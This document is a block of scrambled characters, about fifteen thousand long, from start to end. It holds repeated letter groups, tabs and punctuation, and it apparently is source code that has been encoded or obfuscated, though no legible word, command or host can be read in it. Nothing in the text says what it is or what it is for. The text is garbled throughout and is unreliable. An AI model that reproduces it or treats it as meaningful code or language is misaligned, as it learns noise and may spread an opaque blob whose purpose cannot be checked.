 8V ONKGQ^	UO_RRNN\mGGGGGOC	RT GGZZZGNGGGCW_RZVRLRQ\C_Q	WWZCW_RJSQ\mGGGG	\mmGGG'T
OUVUNOC	RT KGT
O^^TNGGIGGGGC
S_RUWVN\mGmGG'	GC	RT \mG	GGmGGGWT	OC	RT N\mGGGGmGGGC
S GGGGZGGGGGT
O_UUNOCWS
TKGG7&3/.)!(8!.+")&*"N\mGGC +(%&+4< _	S^O^^SN:GGZGCWS
T\mGGC +(%&+4<8T O^^RN:GGZGGGGGC
S \mGC_TVGGZGT
O^^QNmGGIGT
O^^PNmmGGGIGG _	S^O^^_NmGGGGIGGGG _	S^O^^^NmGGGIGQ^	UOVWWWNmmIGGGG@@mIGGQ^	UOVWWVNmIGG@@mIGGG@@\mGGGGGC^ _V
88GGGZGG8QQ	TS8VQWQO
 8V ONKGGGT
OVWWUNN\mGGGGGGGOC^ _V
88NGGGmHHG	 JG
GG07G"	G7mmGGG'Q^	UOUVUNOC^ _V
88KGGC_TVN\mGGGGGmmGGG'	GGC^ _V
88\C	8	PZ__W\C	WVSVU	^VZC	8	PBVR\mGGG	GGmGGGWT	OC^ _V
88N\mGmGGGmHHG	GmmGGGGGGGGGGGGO3GGGGGGC	VRV8UNGGGmGGGGGGGGSS_UU8OQ^	UOVWWTNKGC	VRV8UN\mGGGGGGGGO"	GGC	VRV8UNGmGGGGGmHHG07G%	G%]GGmmGGGGmGGOFQ^	UO^SSNOQ^	UOVWWSNNNGCWQW88ZTWL_W\CU^V	P
ZCWQW88JUS\m		GGGGGWS_VPOC8KGCVSTV	QRUNmGmGGGGGGGGOFGG _	S^OVWWRNOC8NNGmHHG'GJ
mmGGGG	GGC8\mmmmGGGGGGmGGGGCR 
	 GZGGOT
OVWWQNKGGGGGQ^	UOVWWPNKGGT
OVWW_NKGG _	S^OVWW^NKGGGGGG _	S^OQTWNN\mGGGGGGGOCR 
	 GGGGGGGCNGmHHGG	mmGGGGGGGGGGOFGGGOC8<C:NGGGGGGGGFGG8T OVWWRNOC8<C:NNGGmG		\mGmmmmGCT	8GGZGGGGON\mGGGGOC8<C:GGGGGGCST_8QRSNGGmGGGGGGGGGGOFGT
OVWVWNOCST_8QRSNNGGGGmHHG*46+G-4()GGGGmmCT	8<:GGZGCST_8QRS\m		\mGGGmGC	WQ_WV
GGGZGGGGGOCST_8QRS<8T OVWVVN:NGXGCST_8QRS<T
OVWVVN:GG]GEE\mmC
S GGGZGGOC +(%&+4<Q^	UOVWVUN:NGGXGC +(%&+4<T
OVWVUN:GG]GEE\mmmGGGGOC	WQ_WV
GGGZZZGCVSTV	QRUGGGOC
S GGGGGFZZGGGGEEGGGAAGC	WQ_WV
GGZZZGGGGC
S NNGGGmmGGG		\mmmGGGGCT	8<:GGZGGGWS_VPOCST_8QRSKGGCVSTV	QRUN\mGGGGmGC8<C:GGZGCT	8\CUU_ZRTMU\CT

QW_ZCUU_JTS\mGGGmGGG	GC8\mmm		G	T
R S_ONmGGGGGmHHGG	mmGmGGOT
O^SSNO8T O_PSNNGGGGAAGGGGG 8		OQ^	UOP_UNNNGGmGGGGGGG	\mmmmmGGGGGGC RURGZGGGG' _	S^OUUTNOVQ^^WWT
WONN\mGGGGOC RURGGAAGGC RURGGGYGO_RPRJTRPRNGGGAAGGGC RURG[GGGGOS^^^^Q_LTUNGGGAAGF
VT_QUV
 ROVQ^^WWT
WONNNGGmGGGGGGCSUT
GGZGGGGG'Q^	UO^UQNOVQ^^WWT
WONN\mGGGOQ^	UO__PNOCSUT
NGGAAGT
OVWVTNOCSUT
NGGGZZZGGGC RURGGGAAGGR	^W8POCSUT
NNGmGGGOTST		RVOVQ^^WWT
WONKGGGT
VR	OCSUT
NNNGGmGGGG^SSSVTOVQ^^WWT
WONN\mGGW^SS^8OVQ^^WWT
WONN\mGGGGGGGmGGGGmG	OCSUT
N\mGGmmmGGGGGGGGCRRWRGGGZGGG'8T OUUTNOVQ^^WWT
WONN\mmmGC	U8UGZGGCRRWRGGAAGCRRWRGGGYGGOS^_PLVTN\mGGGGOC	U8UGGAAGGGCRRWRGGYGORUSU_PWUL^_NNGGmGGC	U8UGZGGG\mGGGGGGGmmmGGGGGGGOC	U8UNGmGGGCVUU_  _GGGGGGZGG'T
O^UQNOVQ^^WWT
WONN\mGGGGGO8T O__PNOCVUU_  _NGGGGAAGGGT
OVWVTNOCVUU_  _NGYGGO^PUPS_LPR_U_NNGGGCVUU_  _GGGZGG8_PRSPOCVUU_  _N\mGGGOF _	S^OVWVSNOCVUU_  _NGGGGGGGFR	^W8POCVUU_  _NNGGGGmGGGGGC	U8UGZG\mGGGGGGGGGGGGmGGGGC TQWGZGGGU ^STT	88O8T OVWVRNKGGEEN\mGGGGGGC8	SRGGGGGZGGGVRQV^OCVUU_  _N\mGGGC	 V GZGGVRQV^OQ^	UOVWVSNOC TQWNGGGGXGGC TQWGG]GGGGEEN\mGGGGGGGGGOC8	SRGGGGFZZGGEEGGGAAGOC	 V GGGGZZZGGGEEGGGGG	8
OC	 V KGC8	SRKG@[@NNNGGGGmGGGGCTQ GGGZGT
O__UNOCVUU_  _N\mmmmGGGGGC QW_GGZG' _	S^OVWVQNO _	S^O_QTNOVQ^^WWT
WONNGGGIGGT
OV_RNGGGIGCTQ N\mGGGGGGGGOFC QW_NGmGGGC8T

V^_GGZGGGG 8	O8T OV_^NN\mGGGOT
OVWVSNOC8T

V^_NGGGGGGAAGGGG _	S^O^PWNOC8T

V^_KGGGCTQ GGIGG@@NGGZZZGGGGWGAAGGGGGQ^	UO_RPNONGJGGO	NGG _	S^OVWVPNOC8T

V^_KGG _	S^O^PWNOC8T

V^_KG@@NGGGGGGLGVNGG[GGOWVTSLWVTTTNNGGC QW_GGGGGGZGG\mGmGGOC QW_NGGGGC	U8UGGGGGZG\mmmGGGGOFC QW_GGAAGGGGGT
OVWVSNOC TQWNGGGGAAGGOC TQWGGGGZZZGGGEEGGGGC	 V GZZZGGEEGGGG	8
OC	 V KGGGC8	SRKGGG@[@NNNGGGG8UQ	
UUOQ^	UOVWVRNKGGCVUU_  _KGG _	S^O_^_NN\mG	OCTQ KGGGGGC QW_KGGC8T

V^_N\mmmGGO _	S^OVWVSNOC TQWNGAAGGG _	S^OVWVTNOC TQWNGYGGOS_RLVRNGGGGAAGQ^	UOVWVTNOC TQWNG[ZGGOVWS_RPRLVNGGGGGAAGFV UV
RR^QVOC TQWNGGAAGGGGR	^W8POC TQWNGAAGG _	S^O__UNOCVUU_  _NGFZZG _	S^OVWV_NOC TQWNNGGmHHGJ
	GJJG	JJ mmC	U8UGGGGZGGGG\mmGGGGGmGGGGGmGGGGGGGOC	U8UNGmHHG.	G		]GG	mmGGO _	S^OVWV^NO _	S^OP_VNNNGmGGGGGGG8		OQ^	UOVWUWNKGGVKGOWTW_LWW_NN\mmmmGGmGGGGGGG	\mGGGmGGO
VT_QUV
 ROVQ^^WWT
WONNNGGGmGGGGGG	\mGGmC WR
UGGGGZG _	S^O_QTNOVQ^^WWT
WONN\mGGGGGOFG' _	S^O_PPNOC WR
UNNGGGmHHG'J GJmmGGGGGG8	VSS OC WR
UKGGGGGGORWVJ_NKGN\mGmGGGGGC	^^TGZGGU ^STT	88OT
OVWUVNKGGEEN\mGGGOFC	^^TGGGGGGF _	S^OVWVSNOC	^^TNNGGGGGmGGGGOF 8		O8T OVWUUNNNGGGGGmmGSS_UU8O _	S^OVWUTNKGG8T OVWUSNN\mmmmmmGG8		O8T OVWUUNKGGGGGGVKGGOVTUWLUU_WNN\mGmGGGmGGGGGGOC	^^TGGAAGGGT
OVWVSNOC	^^TNGAAGG8T OVWVTNOC	^^TNGYGOSQPLTTNGGGGGAAGGQ^	UOVWVTNOC	^^TNG[ZGGOVWS_S^SL_UNGGGGAAGGGFV UV
RR^QVOC	^^TNGGAAGGGR	^W8POC	^^TNNGmGGGCGGZGVRQV^OC	^^TN\mmGGGOCGFZZGGGGGEEGGGGAAGG	8
OCKG _ Q	QTPONKGGGGG@[@NNGGGGmGG	\C  ZPW^\C	
QZC  9UW^\mmmmmmC
 RRGGGGGZGGGQ^	UO_QTNOVQ^^WWT
WONNGGIGGGGQ^	UOP^TNGGGGIGT
O^QVNOVQ^^WWT
WONKGG _	S^O^__NN\mmmC
RSVQGZG'Q^	UOVWVQNOC
 RRNGXGGG8T OVWURNOO	 NGGG'T
O^UQNOC
 RRNNG]GEE\mGOC
RSVQGGFZZGGEEGGGGGAAG8T OVWV_NOC	^^TNGGZZZGGC
RSVQNGGGGGGmmmmGGGGGG	\mmmT8OVQ^^WWT
WONKGGOTSPLPTNN\mGC^S	_RSGZGTST		RVOVQ^^WWT
WONKGGGGT
VR	OC	^^TNN\mGGGGOC^S	_RSNGGmGGGGG^SSSVTOVQ^^WWT
WONN\mGT8OVQ^^WWT
WONKGGGOTQSJPUNN\mW^SS^8OVQ^^WWT
WONN\mGG	
UVUON\mmmT VUON\mGGGG	_			_OVQ^^WWT
WONN\mGGO8T OVWV^NO _	S^OP_VNNNGGGmGGGG8		OQ^	UOVWUWNKGVKGGGOWRLW_QUNN\mGGGGGGmGGGGGOT
OVWV^NO8T OP_VNNNGGGmGG8		OQ^	UOVWUQNKGVKGOVPUVLP^NN\mGGGmmmGGGmmmmGGGGGGGO3GGGC	VRV8UNGGmSS_UU8OQ^	UOVWUTNKGC	VRV8UN\mmmmGGGGGO"	GGGC	VRV8UNGGmGGGGmGGmGGGGmG		G 8R8WONmGmHHG7/7GG
 G
		mmGGGGT8 WR^P_R OT
OVWUPNKGT
OVWU_NN\mT8 WR^P_R OT
OVWU^NKGGGQ^	UOVWU_NN\mGGGO _	S^OVWV^NOT
OVWTWNNNGmGGGGG
8	OQ^	UOVWTVNKGGGGGT
OVWTUNN\mGG
8	O8T OVWTTNKGGGG8T OVWTUNKGGOPLTNN\m
8	OQ^	UOVWTSNKGG _	S^OVWTRNKGGORLRNN\mmmmGGGmHHG07G%G1	G	GmmGGGGGGGm		GGGGG8T
^ PRSONmmGGGGGGGmHHG	
mmmGCGGZGGC +(%&+4<8T OVWTQN:\mGGGGmmmmGGGC
TGGGZGGGGCJYGGGGIG _	S^OVWTPN\mGGGGGCP8QUQUGGGGGGZG@4@GGIGGGT
OVWT_NGGGIGCJYGGGGIGGGGT
OVWT^NGIGCJY
GGIGGGQ^	UOVWSWN\mG	GGGCJY 8OCJYOCP8QUQUKGGGC
TKG _	S^OVWSVNNN\mGGGGGGGO3GGGGC	VRV8UNGGGmGGSS_UU8OQ^	UOQPUNKGGC	VRV8UN\mGGGGGGGGGGGGGO"	GC	VRV8UNGmGGGGGGGmGGGG	GGGGON\C8^RVTZVR^UWS\CQ_TZC8^RVT9QP\mmmmGmGGG		G	8SWQOCP_8VRNmGmGC
SURS	GGZGON\mGGGGGC	U^	WP	RGGGZG		GGOCR^VRWNGGmHHGG	JGJJ mmGGGGGGGCR^VRW< _	S^OVWSUN:GGZGGEE\mGGGGGG	GGGCR^VRW\mmHHG
	 Gm\mmmmGGGGGGmGGGGGOFG _	S^OVWV^NOQ^	UOVWSTNNGGGFGG _	S^OQW^NOQ^	UOVWSSNNNGGmHHG7/7G
G	]GGmmGGGG	GC
SURS	\mGGmmmmGGGGGOFGQ^	UOVWSRNOCP_8VRNGGGGGGGG
OCP_8VRNNGGmGGGGGGG	GGGC
SURS	\mmmGGGmGGCS8Q8TGZGGGT
OVWSQNONGGGGGLGGO_R9^VNGGMGGGO_QT^UL_N\mmmmGGC8GGZGGG8T OVWV^NOQ^	UORSUNNGGGGAAGG8ON\mGC	 UWGGGGZGC8GGGGGGXGGGQ^	UOVWSPNGG]G _	S^OVWS_N\mGC__^
URSGGGGZGGGC8GGGGGXGGO	OT
OVWS^NNGGGXGGGG4"$25"8&23/8$((,."G]GGGEENGGG]GO	O8T OVWRWNNGGGGGXG&23/8$((,."G]GEEN\mGGGGC

	RS
 GZGGGG	O8T OVWRVNNGXGGGGG+(  "#8.)8$((,."GG]GGEE\mmmmGGGGGGGGGOFGC__^
URSGGGGFGGGGGC

	RS
 NGGGmGGGGGGG	GGGC
SURS	\mGGmGGCQ^RQGGZGGG	O _	S^OVWRUNNGAAGG$((,."8#(*&.)GGXGT
O_NO$((,."8#(*&.)KGG@I@NGG]GGG WOEEN\mC ^VTGGZGGG	O _	S^OVWRTNNGGGXGGGG$((,."7&3/GG]G@H@\mGCRU_GGZG	O _	S^OVWRSNNGGXG&#*.)8$((,."87&3/GGGGG]GQ^	UOVWRRN\mC^
8GGZGGC8GGXGQ^	UOVWRQNG]GGGQ^	UOVWRPN\mGCU GZGE;E\mGGT8 WR^P_R O _	S^OVWR_NKGGC	U^	WP	RKGGGGWN\mCUV	GGGGZGGGGRU 8SQTO8T OVWR^NN\mC_^P
 UUGZGGQ^	UOVWQWNO _	S^OVWQVNNGXGG' 8	OCUV	KGGGGONNG]GGGON\mGGGGGGGOF _	S^OVWSRNOC_^P
 UUNNGGC_^P
 UUGGGGZGGGON\mCQUQGZGGGG\mGGGC
_UPGZGGGGGW\mmGOCP_8VRGGGGGGCRPT
NGGGGGmmmmGGOFGGT
O^_NOCRPT
NGGGGGFGGGCRPT
JY.#GGGGGFGGGCRPT
JY8 	NGGGGmG		\mGGmmGmGGGOC
_UPGYZGGOULVNNGGGGGGm\mGGGmGGGGGC_	GZGGGGGO	 NGCRPT
JY8 	\C	T WPZV^QVUU\CT	T8ZC	T WP9V_\mmmGGOOC_^P
 UU<C_	:NGGGAAGGGGGO	NGGC_^P
 UU<C_	:GYGT
OVWSQNONGGGGLGGUGMGGGGOVS_TRLPVRQRNNGGmGGGGGG		\mmGGG88OCRPT
JY.#KGGGGQ^	UOVWQUNN\mmGC WQQPV8VGZGGG 88
OCRPT
JY.#KGGQ^	UOVWQTNKGGN\mmmGGGGGGGOT
OVWSRNOC WQQPV8VNGAAGG _	S^OVWQSNOC WQQPV8VNGGGYZGGO^LVNNGGGGGmGC
QU^Q_^
GGGGZGON\mGGOC WQQPV8VGGGGGCU	
GGZYGGGC
^S NGmmmmGGGGOOC
^S <T
OVWQRN:NGGGAAGGGC
^S < _	S^OVWQRN:GGGGGYG8T OVWSQNONNGGGGmGC
QU^Q_^
<CU	
:GGZGGGC
^S \mGGGGmGGmGGGGOT
OVWQQNOC
QU^Q_^
NGFZZGT
OVWQQNOC WQQPV8VNNGGGmGGG88
OCRPT
JY.#KG8T OVWQTNKGGGC
QU^Q_^
N\mGGmGGmmmm88OCRPT
JY.#KGGGG8T OVWQUNN\mGGCQ 
GGGGZGGT
OTTRNOO _	S^OVWSSNKGGT
OVWQPNNKGGGGCRPT
JY.#N\mGGGGGGC8	 QPGZGGCQ 
JYOCS8Q8TN\mGGGGC_WGGZGGON\mC_W<:GGGGGZGCQ^RQGIGGCU GGIGG _	S^OVWRQNGGGIGGCU GGGGGGIGGC ^VTGIGGGCU GGIGC^
8GGGIGGGCU GGIGGCS8Q8TGGIGGGGGCU GIGC

	RS
 GGIGGCU GGIGG _	S^OVWSTNOCRPT
JY.#KGGGGGCS8Q8TKGGGGQ^	UOVWQ_NKGC8	 QPN\mGGGGGGGGGGOC__^
URSNGGGmGC_W<:GGGGGZGGGGCQ^RQGGGIGCU GGIG _	S^OVWQ^NGGGGGIGGCU GIGGGGGGCRU_GGGIGCU GIGC^
8GGIGGGGCU GIGGCS8Q8TGGGIGGCU GIGGGGC__^
URSGGGIGGCU GGIGGG8T OVWPWNOCRPT
JY.#KGCS8Q8TKGGC	 UWKGC8	 QPN\mmmmGGGGC
SURS	<CRPT
JY8 	:GGZGC_W\mC_^P
 UU<C_	:GGZGCS8Q8T\CSW8^_ZVPM_\C^Q8PWQVR_ZCSW8^_JT\mGCQUQGGGZGGGGGG\mGC
_UPLL\mGmHHG
	G  mmmGGGGGGOCQUQGGGAAGQ^	UOVWQWNOQ^	UO___NNNGGGm'8	OCUV	KGGGGC_^P
 UUKGGGQ^	UO_^_NN\mGmGGGO3GGC	VRV8UNGmSS_UU8O8T OVWPVNKGGGC	VRV8UN\mmmGGGGO"	GGC	VRV8UNGGGmmGGG
8O _	S^OVWPUNKGGC	U^	WP	RKGGWN\mGGG	GGGC
SURS	\mmmmGGGm		GGG	8TP	_UVSOC_8W NmmGGGGmGGGGGGO _	S^OVWVSNOC_8W NNGGGGG	GGGGC_8W \mGGGOQ^	UOVWPTNOC_8W NGGAAGGGOC_8W <@@:NGGAAGG _	S^OVWVSNOC_8W <@@:NNGGGG	GGGGC_8W <@@:\mGG	GGEE\mGGGGGmG		GS
88S8^WRPOCP_8VRNmGGGmmGGCGZGGGON\mGC8^GGGGGZGGO	 NGGGGGGU ^STT	88OQ^	UOVWPSNKGGEEN\mGGGCQR^GGZGGGO	 NGGGGGGU ^STT	88O _	S^OVWPRNKGGGGEEN\mGGGGGGOC8^GFZZGGGEEGAAGGGGGCQR^GFZZGGGGGGEENGmGGGGGC<C8^:GZGGGCQR^\mGGGGmmmmmmGCRUWVUSGGGGGZGGGGU ^STT	88O _	S^OQV^NKGONN\mmGGGGGGO _	S^OVWPTNOCRUWVUSNNGGmmmmGGGGGOCRUWVUSGGC	_
U GGGZYGGGGC USSNGGGGmGGGGGCT
TUP	VGGGZGGGGGG	8TP	_UVSOC USSN\mGGGGOCT
TUP	VGGFZZGGEENGGGGGC<O	 NGGGGGC	_
U :GGGGGZGGGGGCT
TUP	V\mGGGGGGmGGGGmGGGG	GC\mmGGm		GGTVVP 
OC	_
U KGGGCRQS^KGGGGGGC V_QNmGmGGGGGmGGGGGGOFGGGT
OVWPQNOC	_
U NGGGFGGGGQ^	UO^^NOC	_
U KGGGQ^	UOVWPPNNNGm	GC	_
U \mGGGmGGGGOFGGC	_
U JY8OT
OVWP_NNNGGGGmG	GGC	_
U \mGGmGGGGGOFGQ^	UOVWVSNOC V_QNGGGFGGC V_QNGGGmHHG*46+G_G$3"]G
GmmGGGG	GGGGC	_
U \mGmCRUWVUSGZGU ^STT	88O8T OVWP^NKGGONN\mGGGGGGOFGT
OVWPTNOCRUWVUSNNGmGGCRUWVUSGGGZGGGON\mmmGGGmGGOCRUWVUSGGGGGC88QRTGGZYGGC
VT_	^NGGmmmGCVS^8^GZGGQ^	UOVWPTNOC
VT_	^NGGGGGAAGGOC
VT_	^< _	S^OVW_WN:NGGGGGGXGO	NGGGC
VT_	^<T
OVW_WN:GGG]GGGGGW\mmGGGGGOCVS^8^GGAAGGCVS^8^GGGG[GGQ^	UOVW_VNONGGGJGGGGGOURWTU_VLRUPUPV^NNG	OCRUWVUS<C88QRT:N\mmmGGGGGmmmGGCRUWVUS<C	_
U JY8 	:GZGO@@GGZYGC V_QKGGG8T OVW_WNGGGGGZYGGGQ^	UOVW_VNONKGGGG _	S^OQUWNGZYGGGWN\mGG8UQ	
UUOT
OVWP^NKGCRUWVUSKGGG _	S^OVW_UNN\mmGGGGGGGO3GC	VRV8UNGGGmSS_UU8O8T OVW_TNKGGGC	VRV8UN\mmmGGGGGGGGGGO"	GC	VRV8UNGGmGmGGGGGGG	GGC	_
U \mGGmmm		GGVQS UOCW^VRKGGC	_
U NmGGmGGGmGGGOF8T OVWVSNOCW^VRNGGGCW^VRGGZZZGGGEENG	\mGmmGGCRUWVUSGGZGGU ^STT	88O8T OVWP^NKGONN\mGGGGOFQ^	UOVW_SNOCRUWVUSNGGGGFOCRUWVUS<CW^VR:NNGGGG	\mGGC	VRV8UGGZGGGCRUWVUS<CW^VR:\mGGGGGGGGGGGOQ^	UOVW_RNOC	VRV8UNGAAGGG
OC	VRV8U<8T OQUWN:NNGGGC^
	^ZOW^LWRN\C WT_ZC^
	^B^\mGGGCRUWVUS<CW^VR:<Q^	UOQUWN:GGZGGGV\CT
TUTZVSLTW\CP^^QZCT
TUTJP\mG8UQ	
UUO8T OVWP^NKGCRUWVUSKG8T OVW_UNN\mmmGGGGGGO3GGGC_		W^NGGGmSS_UU8OT
OVW_QNKGC_		W^N\mGGGGGGGO"	GC_		W^NGGGGGGmmmmGGGGmmGGG		GGUR  8  Q8OCP_8VRNmC8PPZVPRUTP\CTUPZC8PP9PV\mmmGGGOFGGG8T OVW_RNOCP_8VRNNGmHHGG
	JG	mmGGG	G\mmGGGGGGmCSGGGZG^UQ V
ON\mGGOCP_8VRGGGGGGGGCRPT
NGmGGGGGGOCSGGGGGGCQ
  	U8NGmGGGO8T O_WQNOT
OVW_PNGGIGGT
OVW__NOCQ
  	U8KG@H@NGGGGIG8T OVW_^NKGGCRPT
JY8 	NNGGGmHMGGJ
GMHmm	GGCRPT
\mGmGGGGmGGGGm	G\mGGmG		G^OCVPRKGGCSQU _		NmGGGGmG	G _	S^OVW^WNOT
OVWV_NOCVPRNKGGWKGGCSQU _		N\mmmmGmmmGG		GGGGG 
_T W OCU8_UVRQNmGmGGGOF8T OVWVSNOCU8_UVRQNGGGGGGCU8_UVRQGGGZZZGEEGGGGGGF	OQ^	UO^QQNNNGGGG	GGG\mGGGGGC8Q GGGGGZGGGGG	\mGGGGGOC8Q GGZZZG	NGmHHG07G7 G%]GGmCSUPZ7/78*&-(581"54.()\C_RUZCSUPMU\mGGC8Q GGGZGOmG^O&%47&3/GIG _	S^OVW^VNKGGORLTNNGGGIGGGGGG8T O^__NKmGGG^O&%47&3/GGIG8T OVW^UNKGGGOVLPNNGGGIGGGGGGT
O^__NKmN\mGmGGGOC8Q GGGGGGCW NGGGGCSPRZ_VMU\C
U 8ZCSPRJS\mGGGGGO _	S^O^PWNOCU8_UVRQKGCW NGFZZGGGGGNG	GGGGG\mGmGGG	GG\mGGGGm		GSVQWP U	W	 VOCSQU _		NmmGGGCWWZT^MP\CW	_	SQTZCWWJTW\mG	GG^O	OO	 NGGGT
OSSWNONKGGGNKGGCSQU _		N\mmmmGGGGGGGGmGG		GGGG8_^^QOC	W_W_NmmGOFQ^	UOVWQWNO8T OVWQVNNNG	GGGGG\mmmmGGCQPSRGGZGG 8	O8T OVW^TNKGGONN\C
 T ZVPRR\C_UU	ZC
 T BVU\mGOFQ^	UOVW_RNOCQPSRNNG	GGGGG\mGC8U_RQUVRGZGG8T OVWV_NOC	W_W_N\mmmmGGO
OCQPSR<C8U_RQUVR:NNGG	GGG\mGGGGGGGCT
TUP	VGGZGGG _	S^OUUWNO@@KGGGGO	 NGGCQPSR<C8U_RQUVR:N\mGGGGGGC ^PGGZGGOCT
TUP	V<V:NGGXGGGO	NGGGGCT
TUP	V<V:GGG]GGW\C	RTZQPLRQ\C^WQ_SQZC	RTJSS\mGG	GGGGOC ^PGGYGWGGGGGAAGQ^	UOVW^SNONGGGJGGC ^PG[GGGOWTLWQSNN\mmGGGGG		G	_	_PSUWRTOC	W_W_KGGGGC^P	RUWTPWNmGGGGmGGOF _	S^OVWQWNO _	S^OVWQVNNGGGGGGGGGF8T OVW^RNO _	S^OVW^QNNNG	\mGGGGGGGCQPSRGGGZGG 8	OT
OVW^TNKGGONN\mGGGGGGGGOF _	S^OVW_RNOCQPSRNNGGGGCQPSRGGGZGGON\mGC8U_RQUVRGGGZG _	S^OVWV_NOC	W_W_N\mmGOFC^P	RUWTPWNGGGGGGmGGOOCQPSR<C8U_RQUVR:NNGGm	OCQPSR<C8U_RQUVR:N\m8	OQ^	UOVW^TNKGGGGCQPSRN\mGGGGGmGGG	\mGmmmmGGGGGC

WUW VGGGZGW\mGGGGGGGOF
OCQPSR<C8U_RQUVR:NNGGmGGCT
TUP	VGGZGGG _	S^OUUWNO@@KGO	 NGGGCQPSR<C8U_RQUVR:N\mGGGGGC

WUW VGZGGGGO	NGCT
TUP	V<W:\mmGmGGC

WUW VLL\mGGGGGC ^PGGZGGGGOC

WUW VGGGYZGOQJTNNGGXGG8T OVW^SNONGGG]GGGW\mGGOCQPSRGGGGGGCS^^R8_GZYGGCQ	V_NGGGGGmGGGCU8_UVRQGGZGGQ^	UOUUWNO@@KGGGO	 NGGGGCQ	V_N\mGGGGOF
OCU8_UVRQ<V:NGAAGGT
OVW^PNONGGGJGO	NGCU8_UVRQ<V:GGYGGOWUU^LWU_WWPNNGG	OCQPSR<CS^^R8_:N\mGGGGGGmmmmCQPSR<C8U_RQUVR:GGGZGC

WUW VGGGGIG@@GIGC ^P\m8	O8T OVW^TNKGCQPSRN\mGGGGGmGGG		GGGG	^QV_T	OC	W_W_KGGGCR_NmmmGGGmmmGGGGOF _	S^OVW^_NOCR_NNG	\mmmmGC88WSGGGGZGG8QQ	TS8VQWQOQ^	UOVW^^NOC	W_W_NKGG _	S^OVVWWNN\mGGGGGGGGGGGOC88WSGGFZZGGGNGGmGGGGGGGGGGO'8T OVVWVNOC88WSKGGGGGCR_NGGGGGZZZG8T OVWVTNOCR_NGAAGGPRW8UOC88WSKGGGC	W_W_NNGGGG	\mmGGWT	OC88WSN\mmmGGGGGm'T
OVVWVNOC	W_W_KGGGGGGCR_N\mGGGGmmGGGG		GGTST		RVOC	W_W_KGC WR8NmmmmGmGCPVWGZGG _	S^OVW^^NOC	W_W_N\mGGOF'T
O_PPNOCPVWNNGGGmGGGGSS_UU8O8T OVVWUNKGG8T OVVWTNGGIGGGT
OVVWSNOC	W_W_NN\mG	G\mmmGmGGCPU	Q^WGGGGGGZGOQ^	UOVW^WNOC	W_W_KGGJOWTLWVNNGGGGZZZGGGGGG8T O^__NN\mGGGOCPU	Q^WGGGGAAGFR	^W8POC WR8NNGGmGSS_UU8O8T OVVWUNKGGGT
OVVWRNGGIGG _	S^OVVWSNOC	W_W_NN\mGGGG	GGGG\mmGGGGGGGOCPU	Q^WGGGAAGGGGG8_^^QOC	W_W_NNGG	GG\mCTU88	QGGGGGZGGG\mGGGGO'8T O_PQNOC	W_W_NNGGGGCTU88	QGGGGZGG\GmGGGGCR_GZGG	\CPQ  RZ7/78.)38*&?H7/78.)38*&?\C
QZCPQ  RLUT\mGGGGGGGC SPWGGZGGGG\mGC^QRP^GZG	\mGGGGGO' _	S^OVVWQNOC	W_W_NGGAAGGGGF' _	S^O_PQNOC	W_W_NNGmGGGGGGC SPWGGGZGG\mGGGGC^QRP^GGZGG'
OC	W_W_N\mGGGGOC^QRP^GGGGZZZGNGGGGC^QRP^GGGGZGGGG	\mGGGGO'8T OUUTNOC	W_W_NGG[ZGGGGOWU_^VVVLW^WQNNGCR_GGGGZG'Q^	UO^UQNOC	W_W_N\mmmmGGmGGGGOFQ^	UOVW^RNOQ^	UOUQNNNGmGGSS_UU8OT
OVVWUNKG8T OVVWPNGIGT
OVVWSNOC	W_W_NN\mGGGGG	GGGG\mGGGGGGGGmmmC
Q	GGZGGGG\mGCQGGGZG\mGGGC8GGZGGGT
OVVW_NOC WR8N\mGGGGGOCQ
W GGZGGGW\GGGGGGCQ
W GG[GU\GGCQ
W LLNGGGmC
Q	GGGZGG8QQ	TS8VQWQOCPVWKGT
OVVW^NN\mGGOC
Q	GGFZZGGNGGGmCQGGGZG\mGGCU8_UVRQGGGGZGGGG'8T OVWSNOC
Q	KGGG _	S^OVVVWNN\mGGGGGGOCU8_UVRQGGFZZGNGGmGC	TS^8GZGW\mGGGGGGGGGOC	TS^8G[GGC8NGGGmmmGC 8	STVWGZGG'T
OVVVVNOCU8_UVRQKGT
OVVVUNOC WR8KGGGC	TS^8NN\mGGGOC 8	STVWGGGZZZGGGGGGC 8	STVWGGGGZZZGGWNG\mGGGC	TS^8GLZGC 8	STVW\mmGGG'OCU8_UVRQN\mHHG'G   mC_RR
Z_PVTQ\C_ZC_RR
9Q^\mGGGO8T OVVVTNO _	S^OVVVSNNNGGGG'	OCU8_UVRQN\C	^ TZJ^Q\CSS
ZOC	^ TYWNXC	^ T]JC	^ T\mGG'OCU8_UVRQN\mGGGGOC	TS^8GZZZGGGGC8NGGCQGZGGC	TS^8\mGGGGGGGGGmmmCQGGGZG'T
OVVVRNOC
Q	KGGGGGGC WR8N\mmGGGGGmHHG		GmmGGGOCQGGGFZZGGGGGAAGGGGCQGGGGZZZGGC8NGG\mGGGGWT	OC
Q	N\mmmmGGGC
Q	GGGGGZGGG\mmmGGGmmmmmGGGGGGGGGOC
Q	GGGZZZGGGNGmGSS_UU8OQ^	UOVVWUNKGGGT
OVVVQNGGIGQ^	UOVVWSNOC	W_W_NN\m	G\mGGGmmmmGOCQGGGZZZGGGGCQGFZZGGGC8NGGGGmGSS_UU8O8T OVVWUNKG _	S^OVVVPNGIGQ^	UOVVWSNOC	W_W_NN\mWT	OC
Q	N\m	GGGG\mGmGGGGOC^QRP^GGFZZGGGGGG	NGGG' _	S^OVQSNOC
Q	KGGC^QRP^GGGGAGGGGGGOS^_LVTNN\mmmGCPU ^GGGGZGGPRW8UOC
Q	KGGGGGC	W_W_N\mGGGGGGOFCPU ^GAAGGGC SPWGGGGGAAGGGFCTU88	QNGmGGGGGGO'Q^	UOVVWQNOC	W_W_NNGT8OC	W_W_KGGOT^SLUQNN\mGC	__^8GGGGZGC	W_W_GIG8T OVVV_NGGGGIGG8T OSSWNOOWVPVLWUPPNKGOVUP_L_PUVNN\mGGGGGOPRW8UOC	W_W_KGGGGC	__^8NNGGGGGmGGGCPU ^GGZGGPRW8UOC
Q	KGC	W_W_N\mGGGOCPU ^NGmmGGWT	OC	__^8N\mmGGGGGGGmHHGG mmmGGGGGGGOFPRW8UOC	__^8KGGC	W_W_NGAAGGGGGFPQ WOC	__^8KGGGGC	W_W_NNGGGmGGG	^QV_T	OC	W_W_KGCR_N\mGGGGmHHG745JVRG
